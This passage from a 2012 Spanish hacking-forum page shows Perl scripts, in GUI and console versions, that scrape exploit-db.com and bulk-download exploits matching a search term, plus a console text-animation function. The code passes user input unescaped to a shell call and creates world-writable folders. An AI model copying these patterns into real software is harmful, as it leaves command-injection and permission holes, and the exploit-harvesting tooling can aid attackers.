  63.     -background => $color_fondo,
  64.     -foreground => $color_texto,
  65.     -command    => \&findnow
  66. );
  67. $menulnowaxm->command(
  68.     -label      => "Logs",
  69.     -background => $color_fondo,
  70.     -foreground => $color_texto,
  71.     -command    => \&openlogs
  72. );
  73.  
  74. $aboutnowaxm->command(
  75.     -label      => "About",
  76.     -background => $color_fondo,
  77.     -foreground => $color_texto,
  78.     -command    => \&aboutxa
  79. );
  80.  
  81. $exitnowaxm->command(
  82.     -label      => "Exit",
  83.     -background => $color_fondo,
  84.     -foreground => $color_texto,
  85.     -command    => \&exitnow
  86. );
  87.  
  88. $newdaxz->Label(
  89.     -text       => "String : ",
  90.     -font       => "Impact",
  91.     -background => $color_fondo,
  92.     -foreground => $color_texto
  93. )->place( -x => 20, -y => 40 );
  94. my $string = $newdaxz->Entry(
  95.     -width      => 40,
  96.     -background => $color_fondo,
  97.     -foreground => $color_texto
  98. )->place( -x => 75, -y => 45 );
  99.  
  100. $newdaxz->Label(
  101.     -text       => "Exploits Found",
  102.     -font       => "Impact",
  103.     -background => $color_fondo,
  104.     -foreground => $color_texto
  105. )->place( -x => 120, -y => 80 );
  106. my $exploits = $newdaxz->Listbox(
  107.     -width      => 40,
  108.     -height     => 10,
  109.     -background => $color_fondo,
  110.     -foreground => $color_texto
  111. )->place( -x => 50, -y => 130 );
  112.  
  113. $newdaxz->Label(
  114.     -text       => "Status : ",
  115.     -font       => "Impact",
  116.     -background => $color_fondo,
  117.     -foreground => $color_texto
  118. )->place( -x => 63, -y => 300 );
  119. my $tatus = $newdaxz->Entry(
  120.     -width      => 25,
  121.     -background => $color_fondo,
  122.     -foreground => $color_texto
  123. )->place( -x => 120, -y => 305 );
  124.  
  125. MainLoop;
  126.  
  127. sub openlogs {
  128.     my $cosa = $string->get;
  129.     if ( -d $cosa ) {
  130.         system("start $cosa");
  131.     }
  132.     else {
  133.         $newdaxz->Dialog(
  134.             -title            => "Error",
  135.             -buttons          => ["OK"],
  136.             -text             => "Error",
  137.             -background       => $color_fondo,
  138.             -foreground       => $color_texto,
  139.             -activebackground => $color_texto
  140.         )->Show();
  141.     }
  142. }
  143.  
  144. sub findnow {
  145.     $exploits->delete( "0.0", "end" );
  146.     my $cosa = $string->get;
  147.     $tatus->configure( -text => "Searching ..." );
  148.     my %found = buscar($cosa);
  149.     $total = int( keys %found ) - 1;
  150.     $tatus->configure( -text => "$total exploits found" );
  151.     unless ( -d $cosa ) {
  152.         mkdir( $cosa, "777" );
  153.     }
  154.     $tatus->configure( -text => "Downloading exploits ..." );
  155.     for my $da ( keys %found ) {
  156.         my $tata = $da;
  157.         $tata =~ s/\<//;
  158.         $tata =~ s/(\s)+$//;
  159.         if ( download( $found{$da}, $cosa . "/" . $tata . ".txt" ) ) {
  160.             $newdaxz->update;
  161.             $exploits->insert( "end", $da );
  162.         }
  163.     }
  164.     $tatus->configure( -text => " " );
  165. }
  166.  
  167. sub buscar {
  168.     for my $n ( 1 .. 666 ) {
  169.         $newdaxz->update;
  170.         my $code =
  171.           toma( "http://www.exploit-db.com/search/?action=search&filter_page=" 
  172.               . $n
  173.               . "&filter_description="
  174.               . $_[0]
  175.               . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
  176.           );
  177.         chomp $code;
  178.         if ( $code =~ /No results/ig ) {
  179.             return %busca;
  180.         }
  181.         %busca = getlinks($code);
  182.     }
  183. }
  184.  
  185. sub getlinks {
  186.  
  187.     my $test = HTML::Parser->new(
  188.         start_h => [ \&start, "tagname,attr" ],
  189.         text_h  => [ \&text,  "dtext" ],
  190.     );
  191.     $test->parse( $_[0] );
  192.  
  193.     sub start {
  194.         my ( $a, $b ) = @_;
  195.         my %e = %$b;
  196.         unless ( $a ne "a" ) {
  197.             $d = $e{href};
  198.             $c = $a;
  199.         }
  200.     }
  201.  
  202.     sub text {
  203.         my $title = shift;
  204.         chomp $title;
  205.         unless ( $c ne "a" ) {
  206.             if ( $d =~ /www.exploit-db.com\/exploits\/(.*)/ ) {
  207.                 my $id  = $1;
  208.                 my $url = "http://www.exploit-db.com/download/" . $id;
  209.                 $links{$title} = $url;
  210.             }
  211.             $d = "";
  212.         }
  213.     }
  214.     return %links;
  215. }
  216.  
  217. sub toma {
  218.     return $nave->get( $_[0] )->content;
  219. }
  220.  
  221. sub repes {
  222.     my @limpio;
  223.     foreach $test (@_) {
  224.         push @limpio, $test unless $repe{$test}++;
  225.     }
  226.     return @limpio;
  227. }
  228.  
  229. sub download {
  230.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  231.         if ( -f $_[1] ) {
  232.             return true;
  233.         }
  234.     }
  235. }
  236.  
  237. sub aboutxa {
  238.     $newdaxz->Dialog(
  239.         -title            => "About",
  240.         -buttons          => ["OK"],
  241.         -text             => "Coded By Doddy H",
  242.         -background       => $color_fondo,
  243.         -foreground       => $color_texto,
  244.         -activebackground => $color_texto
  245.     )->Show();
  246. }
  247.  
  248. sub exitnow {
  249.     exit 1;
  250. }
  251.  
  252. #The End ?
  253.  
289  Programación / Scripting / [Perl] Exploit DB Helper 0.5 en: 30 Septiembre 2012, 19:33 pm
Version mejorada de este script para buscar exploits en la pagina exploit-db

Código
  1. #!usr/bin/perl
  2. #Exploit DB Helper 0.5
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use HTML::Parser;
  7. use Data::Dumper;
  8. use Time::HiRes "usleep";
  9.  
  10. my $nave = LWP::UserAgent->new;
  11. $nave->agent(
  12. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  13. );
  14. $nave->timeout(5);
  15.  
  16. head();
  17. print "\n\n[String] : ";
  18. chomp( my $cosa = <stdin> );
  19. if ( $cosa eq "" ) { menu(); }
  20. print "\n\n[+] Searching ...\n\n";
  21. my %found = buscar($cosa);
  22. $total = int( keys %found ) - 1;
  23. print "[+] Exploits Found : " . $total . "\n\n";
  24.  
  25. unless ( -d $cosa ) {
  26.     mkdir( $cosa, "777" );
  27. }
  28. for my $da ( keys %found ) {
  29.     my $tata = $da;
  30.     $tata =~ s/\<//;
  31.     $tata =~ s/(\s)+$//;
  32.     if ( download( $found{$da}, $cosa . "/" . $tata . ".txt" ) ) {
  33.         print "[Exploit Found] : " . $da . "\n";
  34.     }
  35. }
  36. copyright();
  37.  
  38. sub buscar {
  39.     for my $n ( 1 .. 666 ) {
  40.         my $code =
  41.           toma( "http://www.exploit-db.com/search/?action=search&filter_page=" 
  42.               . $n
  43.               . "&filter_description="
  44.               . $_[0]
  45.               . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve="
  46.           );
  47.         chomp $code;
  48.         if ( $code =~ /No results/ig ) {
  49.             return %busca;
  50.         }
  51.         %busca = getlinks($code);
  52.     }
  53. }
  54.  
  55. sub getlinks {
  56.  
  57.     my $test = HTML::Parser->new(
  58.         start_h => [ \&start, "tagname,attr" ],
  59.         text_h  => [ \&text,  "dtext" ],
  60.     );
  61.     $test->parse( $_[0] );
  62.  
  63.     sub start {
  64.         my ( $a, $b ) = @_;
  65.         my %e = %$b;
  66.         unless ( $a ne "a" ) {
  67.             $d = $e{href};
  68.             $c = $a;
  69.         }
  70.     }
  71.  
  72.     sub text {
  73.         my $title = shift;
  74.         chomp $title;
  75.         unless ( $c ne "a" ) {
  76.             if ( $d =~ /www.exploit-db.com\/exploits\/(.*)/ ) {
  77.                 my $id  = $1;
  78.                 my $url = "http://www.exploit-db.com/download/" . $id;
  79.                 $links{$title} = $url;
  80.             }
  81.             $d = "";
  82.         }
  83.     }
  84.     return %links;
  85. }
  86.  
  87. sub toma {
  88.     return $nave->get( $_[0] )->content;
  89. }
  90.  
  91. sub repes {
  92.     my @limpio;
  93.     foreach $test (@_) {
  94.         push @limpio, $test unless $repe{$test}++;
  95.     }
  96.     return @limpio;
  97. }
  98.  
  99. sub download {
  100.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  101.         if ( -f $_[1] ) {
  102.             return true;
  103.         }
  104.     }
  105. }
  106.  
  107. sub head {
  108.  
  109.     my @logo = (
  110.         "#=============================================#", "\n",
  111.         "#            Exploit DB 0.5                   #", "\n",
  112.         "#---------------------------------------------#", "\n",
  113.         "# Written By Doddy H                          #", "\n",
  114.         "# Email: lepuke[at]hotmail[com]               #", "\n",
  115.         "# Website: doddyhackman.webcindario.com       #", "\n",
  116.         "#---------------------------------------------#", "\n",
  117.         "# The End ?                                   #", "\n",
  118.         "#=============================================#", "\n"
  119.     );
  120.  
  121.     print "\n";
  122.     marquesina(@logo);
  123.  
  124. }
  125.  
  126. sub marquesina {
  127.  
  128.     #Effect based in the exploits by Jafer Al Zidjali
  129.  
  130.     my @logo = @_;
  131.  
  132.     my $car = "|";
  133.  
  134.     for my $uno (@logo) {
  135.         for my $dos ( split //, $uno ) {
  136.  
  137.             $|++;
  138.  
  139.             if ( $car eq "|" ) {
  140.                 mostrar( "\b" . $dos . $car, "/" );
  141.             }
  142.             elsif ( $car eq "/" ) {
  143.                 mostrar( "\b" . $dos . $car, "-" );
  144.             }
  145.             elsif ( $car eq "-" ) {
  146.                 mostrar( "\b" . $dos . $car, "\\" );
  147.             }
  148.             else {
  149.                 mostrar( "\b" . $dos . $car, "|" );
  150.             }
  151.             usleep(40_000);
  152.         }
  153.         print "\b ";
  154.     }
  155.  
  156.     sub mostrar {
  157.         print $_[0];
  158.         $car = $_[1];
  159.     }
  160.  
  161. }
  162.  
  163. sub copyright {
  164.  
  165.     print "\n\n";
  166.  
  167.     marquesina("-- == (C) Doddy Hackman 2012 == --");
  168.  
  169.     print "\n\n";
  170.  
  171.     <stdin>;
  172.     exit(1);
  173. }
  174.  
  175. #The End ?
  176.  
290  Programación / Scripting / [Perl] Funcion marquesina() en: 30 Septiembre 2012, 04:06 am
Desde que vi por primera vez este exploit en ruby siempre quise lograr el mismo efecto en perl , con la ayuda de explorer de perlenespanol logre hacer una funcion en perl que hace lo mismo que el exploit que mencione.

El codigo con un ejemplo de uso incluido

Código
  1. #!/usr/bin/perl
  2. #Funcion marquesina()
  3. #Coded By Doddy H
  4.  
  5. use Time::HiRes "usleep";
  6.  
  7. my @test = ("testando ahora now");
  8.  
  9. sub marquesina {
  10.  
  11. #Effect based in the exploits by Jafer Al Zidjali
  12.  
  13. my @logo = @_;
  14.  
  15. my $car = "|";
  16.  
  17. for my $uno(@logo) {
  18. for my $dos(split //,$uno) {
  19.  
  20. $|++;
  21.  
  22. if($car eq "|") {
  23. mostrar("\b".$dos.$car,"/");
  24. }
  25. elsif($car eq "/") {
  26. mostrar("\b".$dos.$car,"-");
  27. }
  28. elsif($car eq "-") {
  29. mostrar("\b".$dos.$car,"\\");
  30. } else {
  31. mostrar("\b".$dos.$car,"|");
  32. }
  33. usleep(40_000);  
  34. }
  35. print "\b ";
  36. }
  37.  
  38. sub mostrar {
  39. print $_[0];
  40. $car = $_[1];
  41. }
  42.  
  43. }
  44.  
  45. marquesina(@test);
  46.  
  47. #The End ? 
  48.  
Páginas: 1 ... 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [29] 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines